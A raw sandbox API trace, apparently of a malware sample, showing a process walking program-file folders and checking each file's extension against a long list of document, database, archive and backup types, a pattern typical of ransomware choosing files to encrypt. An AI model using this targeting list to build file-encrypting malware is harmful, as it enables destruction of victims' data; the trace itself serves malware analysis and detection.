[0182.234] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1 [0182.234] lstrlenW (lpString=".class") returned 6 [0182.234] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1 [0182.234] lstrlenW (lpString=".clx") returned 4 [0182.234] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1 [0182.234] lstrlenW (lpString=".config") returned 7 [0182.234] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1 [0182.234] lstrlenW (lpString=".cpp") returned 4 [0182.234] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1 [0182.234] lstrlenW (lpString=".cr2") returned 4 [0182.234] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1 [0182.234] lstrlenW (lpString=".crt") returned 4 [0182.234] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1 [0182.234] lstrlenW (lpString=".crw") returned 4 [0182.234] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1 [0182.234] lstrlenW (lpString=".cs") returned 3 [0182.234] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1 [0182.234] lstrlenW (lpString=".css") returned 4 [0182.234] lstrcmpiW (lpString1=".css", lpString2="html") returned -1 [0182.234] lstrlenW (lpString=".csv") returned 4 [0182.234] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1 [0182.234] lstrlenW (lpString=".cub") returned 4 [0182.234] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1 [0182.234] lstrlenW (lpString=".dae") returned 4 [0182.235] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1 [0182.235] lstrlenW (lpString=".dat") returned 4 [0182.235] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1 [0182.235] lstrlenW (lpString=".db") returned 3 [0182.235] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1 [0182.235] lstrlenW (lpString=".dbf") returned 4 [0182.235] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0182.235] lstrlenW (lpString=".dbx") returned 4 [0182.235] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1 [0182.235] lstrlenW (lpString=".dc3") returned 4 [0182.235] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1 [0182.235] lstrlenW (lpString=".dcm") returned 4 [0182.235] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1 [0182.235] lstrlenW (lpString=".dcr") returned 4 [0182.235] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1 [0182.235] lstrlenW (lpString=".der") returned 4 [0182.235] lstrcmpiW (lpString1=".der", lpString2="html") returned -1 [0182.235] lstrlenW (lpString=".dib") returned 4 [0182.235] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1 [0182.236] lstrlenW (lpString=".dic") returned 4 [0182.236] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1 [0182.236] lstrlenW (lpString=".dif") returned 4 [0182.236] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1 [0182.236] lstrlenW (lpString=".divx") returned 5 [0182.236] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1 [0182.236] lstrlenW (lpString=".djvu") returned 5 [0182.236] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1 [0182.236] lstrlenW (lpString=".dng") returned 4 [0182.236] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1 [0182.236] lstrlenW (lpString=".doc") returned 4 [0182.236] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0182.236] lstrlenW (lpString=".docm") returned 5 [0182.236] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1 [0182.236] lstrlenW (lpString=".docx") returned 5 [0182.236] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0182.236] lstrlenW (lpString=".dot") returned 4 [0182.236] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1 [0182.236] lstrlenW (lpString=".dotm") returned 5 [0182.236] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1 [0182.236] lstrlenW (lpString=".dotx") returned 5 [0182.236] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1 [0182.236] lstrlenW (lpString=".dpx") returned 4 [0182.236] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1 [0182.236] lstrlenW (lpString=".dqy") returned 4 [0182.236] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1 [0182.236] lstrlenW (lpString=".dsn") returned 4 [0182.237] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1 [0182.237] lstrlenW (lpString=".dt") returned 3 [0182.237] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1 [0182.237] lstrlenW (lpString=".dtd") returned 4 [0182.237] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1 [0182.237] lstrlenW (lpString=".dwg") returned 4 [0182.237] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1 [0182.237] lstrlenW (lpString=".dwt") returned 4 [0182.237] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1 [0182.237] lstrlenW (lpString=".dx") returned 3 [0182.237] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1 [0182.237] lstrlenW (lpString=".dxf") returned 4 [0182.237] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1 [0182.237] lstrlenW (lpString=".edml") returned 5 [0182.237] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1 [0182.237] lstrlenW (lpString=".efd") returned 4 [0182.237] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1 [0182.237] lstrlenW (lpString=".elf") returned 4 [0182.237] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1 [0182.237] lstrlenW (lpString=".emf") returned 4 [0182.237] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1 [0182.237] lstrlenW (lpString=".emz") returned 4 [0182.237] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1 [0182.237] lstrlenW (lpString=".epf") returned 4 [0182.238] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1 [0182.238] lstrlenW (lpString=".eps") returned 4 [0182.238] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1 [0182.238] lstrlenW (lpString=".epsf") returned 5 [0182.238] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1 [0182.238] lstrlenW (lpString=".epsp") returned 5 [0182.238] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1 [0182.238] lstrlenW (lpString=".erf") returned 4 [0182.238] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1 [0182.238] lstrlenW (lpString=".exr") returned 4 [0182.238] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1 [0182.238] lstrlenW (lpString=".f4v") returned 4 [0182.238] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1 [0182.238] lstrlenW (lpString=".fido") returned 5 [0182.238] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1 [0182.238] lstrlenW (lpString=".flm") returned 4 [0182.238] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1 [0182.238] lstrlenW (lpString=".flv") returned 4 [0182.238] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1 [0182.239] lstrlenW (lpString=".frm") returned 4 [0182.239] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1 [0182.239] lstrlenW (lpString=".fxg") returned 4 [0182.239] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1 [0182.239] lstrlenW (lpString=".geo") returned 4 [0182.239] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1 [0182.239] lstrlenW (lpString=".gif") returned 4 [0182.239] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1 [0182.239] lstrlenW (lpString=".grs") returned 4 [0182.239] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1 [0182.239] lstrlenW (lpString=".gz") returned 3 [0182.239] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1 [0182.239] lstrlenW (lpString=".h") returned 2 [0182.239] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0182.239] lstrlenW (lpString=".hdr") returned 4 [0182.239] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1 [0182.239] lstrlenW (lpString=".hpp") returned 4 [0182.239] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1 [0182.239] lstrlenW (lpString=".hta") returned 4 [0182.239] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1 [0182.239] lstrlenW (lpString=".htc") returned 4 [0182.239] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1 [0182.239] lstrlenW (lpString=".htm") returned 4 [0182.239] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1 [0182.239] lstrlenW (lpString=".html") returned 5 [0182.239] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0 [0182.240] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x14d9d700, ftLastWriteTime.dwHighDateTime=0x1d29cb5, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0182.240] lstrlenW (lpString="toastbeginupgrade.xml") returned 21 [0182.240] lstrlenW (lpString=".1cd") returned 4 [0182.241] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0182.241] lstrlenW (lpString=".3ds") returned 4 [0182.241] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0182.241] lstrlenW (lpString=".3fr") returned 4 [0182.241] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0182.241] lstrlenW (lpString=".3g2") returned 4 [0182.241] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0182.241] lstrlenW (lpString=".3gp") returned 4 [0182.241] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0182.241] lstrlenW (lpString=".7z") returned 3 [0182.241] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0182.241] lstrlenW (lpString=".accda") returned 6 [0182.241] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1 [0182.242] lstrlenW (lpString=".accdb") returned 6 [0182.242] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1 [0182.242] lstrlenW (lpString=".accdc") returned 6 [0182.242] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1 [0182.242] lstrlenW (lpString=".accde") returned 6 [0182.242] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1 [0182.242] lstrlenW (lpString=".accdt") returned 6 [0182.242] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1 [0182.242] lstrlenW (lpString=".accdw") returned 6 [0182.242] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1 [0182.242] lstrlenW (lpString=".adb") returned 4 [0182.242] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0182.242] lstrlenW (lpString=".adp") returned 4 [0182.242] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0182.242] lstrlenW (lpString=".ai") returned 3 [0182.242] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0182.242] lstrlenW (lpString=".ai3") returned 4 [0182.242] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0182.242] lstrlenW (lpString=".ai4") returned 4 [0182.242] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0182.242] lstrlenW (lpString=".ai5") returned 4 [0182.242] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0182.242] lstrlenW (lpString=".ai6") returned 4 [0182.242] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0182.242] lstrlenW (lpString=".ai7") returned 4 [0182.242] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0182.242] lstrlenW (lpString=".ai8") returned 4 [0182.242] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0182.242] lstrlenW (lpString=".anim") returned 5 [0182.242] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1 [0182.242] lstrlenW (lpString=".arw") returned 4 [0182.242] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0182.242] lstrlenW (lpString=".as") returned 3 [0182.243] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0182.243] lstrlenW (lpString=".asa") returned 4 [0182.244] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0182.244] lstrlenW (lpString=".asc") returned 4 [0182.244] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0182.244] lstrlenW (lpString=".ascx") returned 5 [0182.244] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1 [0182.244] lstrlenW (lpString=".asm") returned 4 [0182.244] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0182.244] lstrlenW (lpString=".asmx") returned 5 [0182.244] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1 [0182.244] lstrlenW (lpString=".asp") returned 4 [0182.245] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0182.245] lstrlenW (lpString=".aspx") returned 5 [0182.245] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1 [0182.245] lstrlenW (lpString=".asr") returned 4 [0182.245] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0182.245] lstrlenW (lpString=".asx") returned 4 [0182.245] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0182.245] lstrlenW (lpString=".avi") returned 4 [0182.245] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0182.245] lstrlenW (lpString=".avs") returned 4 [0182.245] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0182.245] lstrlenW (lpString=".backup") returned 7 [0182.245] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1 [0182.245] lstrlenW (lpString=".bak") returned 4 [0182.245] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0182.245] lstrlenW (lpString=".bay") returned 4 [0182.245] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0182.245] lstrlenW (lpString=".bd") returned 3 [0182.245] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0182.245] lstrlenW (lpString=".bin") returned 4 [0182.245] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0182.245] lstrlenW (lpString=".bmp") returned 4 [0182.245] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0182.245] lstrlenW (lpString=".bz2") returned 4 [0182.245] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.245] lstrlenW (lpString=".c") returned 2 [0182.245] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0182.245] lstrlenW (lpString=".cdr") returned 4 [0182.245] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0182.245] lstrlenW (lpString=".cer") returned 4 [0182.246] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0182.246] lstrlenW (lpString=".cf") returned 3 [0182.246] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0182.246] lstrlenW (lpString=".cfc") returned 4 [0182.246] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0182.246] lstrlenW (lpString=".cfm") returned 4 [0182.246] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0182.246] lstrlenW (lpString=".cfml") returned 5 [0182.246] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1 [0182.246] lstrlenW (lpString=".cfu") returned 4 [0182.246] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0182.246] lstrlenW (lpString=".chm") returned 4 [0182.246] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0182.246] lstrlenW (lpString=".cin") returned 4 [0182.246] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0182.246] lstrlenW (lpString=".class") returned 6 [0182.246] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1 [0182.246] lstrlenW (lpString=".clx") returned 4 [0182.246] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0182.246] lstrlenW (lpString=".config") returned 7 [0182.246] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1 [0182.246] lstrlenW (lpString=".cpp") returned 4 [0182.246] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0182.246] lstrlenW (lpString=".cr2") returned 4 [0182.246] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0182.246] lstrlenW (lpString=".crt") returned 4 [0182.246] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0182.246] lstrlenW (lpString=".crw") returned 4 [0182.246] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0182.246] lstrlenW (lpString=".cs") returned 3 [0182.246] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0182.247] lstrlenW (lpString=".css") returned 4 [0182.247] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0182.247] lstrlenW (lpString=".csv") returned 4 [0182.247] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0182.247] lstrlenW (lpString=".cub") returned 4 [0182.247] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0182.247] lstrlenW (lpString=".dae") returned 4 [0182.247] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0182.247] lstrlenW (lpString=".dat") returned 4 [0182.247] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0182.247] lstrlenW (lpString=".db") returned 3 [0182.247] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0182.247] lstrlenW (lpString=".dbf") returned 4 [0182.247] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.247] lstrlenW (lpString=".dbx") returned 4 [0182.247] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0182.247] lstrlenW (lpString=".dc3") returned 4 [0182.247] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0182.247] lstrlenW (lpString=".dcm") returned 4 [0182.247] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0182.247] lstrlenW (lpString=".dcr") returned 4 [0182.247] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0182.247] lstrlenW (lpString=".der") returned 4 [0182.247] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0182.247] lstrlenW (lpString=".dib") returned 4 [0182.247] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0182.247] lstrlenW (lpString=".dic") returned 4 [0182.247] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0182.247] lstrlenW (lpString=".dif") returned 4 [0182.247] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0182.247] lstrlenW (lpString=".divx") returned 5 [0182.247] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1 [0182.247] lstrlenW (lpString=".djvu") returned 5 [0182.248] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1 [0182.248] lstrlenW (lpString=".dng") returned 4 [0182.248] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0182.248] lstrlenW (lpString=".doc") returned 4 [0182.248] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.248] lstrlenW (lpString=".docm") returned 5 [0182.248] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1 [0182.248] lstrlenW (lpString=".docx") returned 5 [0182.248] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0182.248] lstrlenW (lpString=".dot") returned 4 [0182.248] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0182.248] lstrlenW (lpString=".dotm") returned 5 [0182.248] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1 [0182.248] lstrlenW (lpString=".dotx") returned 5 [0182.248] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1 [0182.248] lstrlenW (lpString=".dpx") returned 4 [0182.248] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0182.248] lstrlenW (lpString=".dqy") returned 4 [0182.248] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0182.248] lstrlenW (lpString=".dsn") returned 4 [0182.248] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0182.248] lstrlenW (lpString=".dt") returned 3 [0182.248] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0182.248] lstrlenW (lpString=".dtd") returned 4 [0182.248] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0182.248] lstrlenW (lpString=".dwg") returned 4 [0182.248] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0182.248] lstrlenW (lpString=".dwt") returned 4 [0182.248] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0182.248] lstrlenW (lpString=".dx") returned 3 [0182.248] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0182.248] lstrlenW (lpString=".dxf") returned 4 [0182.248] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0182.249] lstrlenW (lpString=".edml") returned 5 [0182.249] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1 [0182.249] lstrlenW (lpString=".efd") returned 4 [0182.249] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0182.249] lstrlenW (lpString=".elf") returned 4 [0182.249] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0182.249] lstrlenW (lpString=".emf") returned 4 [0182.249] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0182.249] lstrlenW (lpString=".emz") returned 4 [0182.249] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0182.249] lstrlenW (lpString=".epf") returned 4 [0182.249] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0182.249] lstrlenW (lpString=".eps") returned 4 [0182.249] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0182.249] lstrlenW (lpString=".epsf") returned 5 [0182.249] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1 [0182.249] lstrlenW (lpString=".epsp") returned 5 [0182.249] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1 [0182.249] lstrlenW (lpString=".erf") returned 4 [0182.249] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0182.249] lstrlenW (lpString=".exr") returned 4 [0182.249] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0182.249] lstrlenW (lpString=".f4v") returned 4 [0182.249] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0182.249] lstrlenW (lpString=".fido") returned 5 [0182.249] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1 [0182.249] lstrlenW (lpString=".flm") returned 4 [0182.249] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0182.249] lstrlenW (lpString=".flv") returned 4 [0182.249] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0182.249] lstrlenW (lpString=".frm") returned 4 [0182.249] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0182.249] lstrlenW (lpString=".fxg") returned 4 [0182.249] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0182.250] lstrlenW (lpString=".geo") returned 4 [0182.250] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0182.250] lstrlenW (lpString=".gif") returned 4 [0182.250] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0182.250] lstrlenW (lpString=".grs") returned 4 [0182.250] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0182.250] lstrlenW (lpString=".gz") returned 3 [0182.250] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0182.250] lstrlenW (lpString=".h") returned 2 [0182.250] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0182.250] lstrlenW (lpString=".hdr") returned 4 [0182.250] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0182.250] lstrlenW (lpString=".hpp") returned 4 [0182.250] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0182.250] lstrlenW (lpString=".hta") returned 4 [0182.250] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0182.250] lstrlenW (lpString=".htc") returned 4 [0182.250] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0182.251] lstrlenW (lpString=".htm") returned 4 [0182.251] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0182.251] lstrlenW (lpString=".html") returned 5 [0182.251] lstrcmpiW (lpString1=".html", lpString2="e.xml") returned -1 [0182.251] lstrlenW (lpString=".icb") returned 4 [0182.251] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0182.251] lstrlenW (lpString=".ics") returned 4 [0182.251] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0182.251] lstrlenW (lpString=".iff") returned 4 [0182.251] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0182.251] lstrlenW (lpString=".inc") returned 4 [0182.251] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0182.251] lstrlenW (lpString=".indd") returned 5 [0182.251] lstrcmpiW (lpString1=".indd", lpString2="e.xml") returned -1 [0182.252] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0182.252] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0182.252] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0182.252] FindClose (in: hFindFile=0x484bd8 | out: hFindFile=0x484bd8) returned 1 [0182.253] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0182.253] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c098ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-HK", cAlternateFileName="")) returned 1 [0182.253] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0182.253] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c098ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0182.261] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c098ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, 